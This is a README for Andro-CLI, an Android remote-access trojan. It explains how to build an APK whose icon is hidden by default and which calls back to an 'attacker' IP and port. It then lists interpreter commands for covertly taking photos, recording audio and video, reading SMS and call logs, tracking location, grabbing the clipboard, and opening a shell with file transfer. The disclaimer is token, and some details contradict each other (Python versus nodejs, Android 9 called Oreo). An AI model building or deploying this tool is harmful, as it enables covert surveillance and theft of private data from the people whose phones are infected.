Andro-CLI


A python based remote android managment suite, powered by nodejs

Andro-CLI is a tool designed to give the control of the android system remotely and retrieve informations from it. Andro-CLI is a client/server application developed in Java Android for the client side and the Server is in Python.

Andro-vW will work on device from Android 4.1 (Jelly Bean) to Android 9.0 (Oreo) (API 16 to API 28)

Andro-CLI also works on Android 10 (Q) but some of the interpreter command will be unstable.

Screenshots

Andro-CLI

Features of Andro-CLI

Prerequisites

Andro-CLI requires

Installation

wget https://github.com/AryanVBW/Andro-CLI/releases/download/ARDro2/androcli.zip && unzip androcli.zip
cd androcli
pip install -r requirements.txt

Available Modes

build mode

Usage:
  python3 androcli.py --build --ngrok [flags]
  Flags:
    -p, --port              Attacker port number (optional by default its set to 8000)
    -o, --output            Name for the apk file (optional by default its set to "test.apk")
    -icon, --icon           Visible icon after installing apk (by default set to hidden)
Usage:
  python3 androcli.py --build [flags]
  Flags:
    -i, --ip                Attacker IP address (required)
    -p, --port              Attacker port number (required)
    -o, --output            Name for the apk file (optional)
    -icon, --icon           Visible icon after installing apk (by default set to hidden)

Or you can manually build the apk by importing Android Code folder to Android Studio and changing the IP address and port number in config.java file and then you can generate the signed apk from Android Studio -> Build -> Generate Signed APK(s)

shell mode

Usage:
  python3 androcli.py --shell [flags]
  Flags:
    -i, --ip                Listner IP address
    -p, --port              Listner port number

After running the shell mode you will get an interpreter of the device

Commands which can run on the interpreter

    deviceInfo                 --> returns basic info of the device
    camList                    --> returns cameraID  
    takepic [cameraID]         --> Takes picture from camera
    startVideo [cameraID]      --> starts recording the video
    stopVideo                  --> stop recording the video and return the video file
    startAudio                 --> starts recording the audio
    stopAudio                  --> stop recording the audio
    getSMS [inbox|sent]        --> returns inbox sms or sent sms in a file 
    getCallLogs                --> returns call logs in a file
    shell                      --> starts a sh shell of the device
    vibrate [number_of_times]  --> vibrate the device number of time
    getLocation                --> return the current location of the device
    getIP                      --> returns the ip of the device
    getSimDetails              --> returns the details of all sim of the device
    clear                      --> clears the screen
    getClipData                --> return the current saved text from the clipboard
    getMACAddress              --> returns the mac address of the device
    exit                       --> exit the interpreter

In the sh shell there are some sub commands

    get [full_file_path]        --> donwloads the file to the local machine (file size upto 15mb)
    put [filename]              --> uploads the file to the android device

Examples

Interpreter Examples



Note:

Set up port forwarding easily using Pagekite / packetriot for smoother device connections!

While cloning the repository using Git bash on Windows, you may get the following error:

error: unable to create file <filename>: Filename too long

This is because the Git has a limit of 4096 characters for a filename, except on Windows when Git is compiled with msys. It uses an older version of the Windows API and there’s a limit of 260 characters for a filename.

You can circumvent this by setting core.longpaths to true.

git config –system core.longpaths true

You must run Git bash with administrator privileges.

Usage (Windows and Linux)

TODO

Special Thanks

Niraj Singh


Made with ❤️ By *Aryan*

v1.1.2

Disclaimer : This software is meant for educational purposes only. we are not responsible for any malicious use of the app.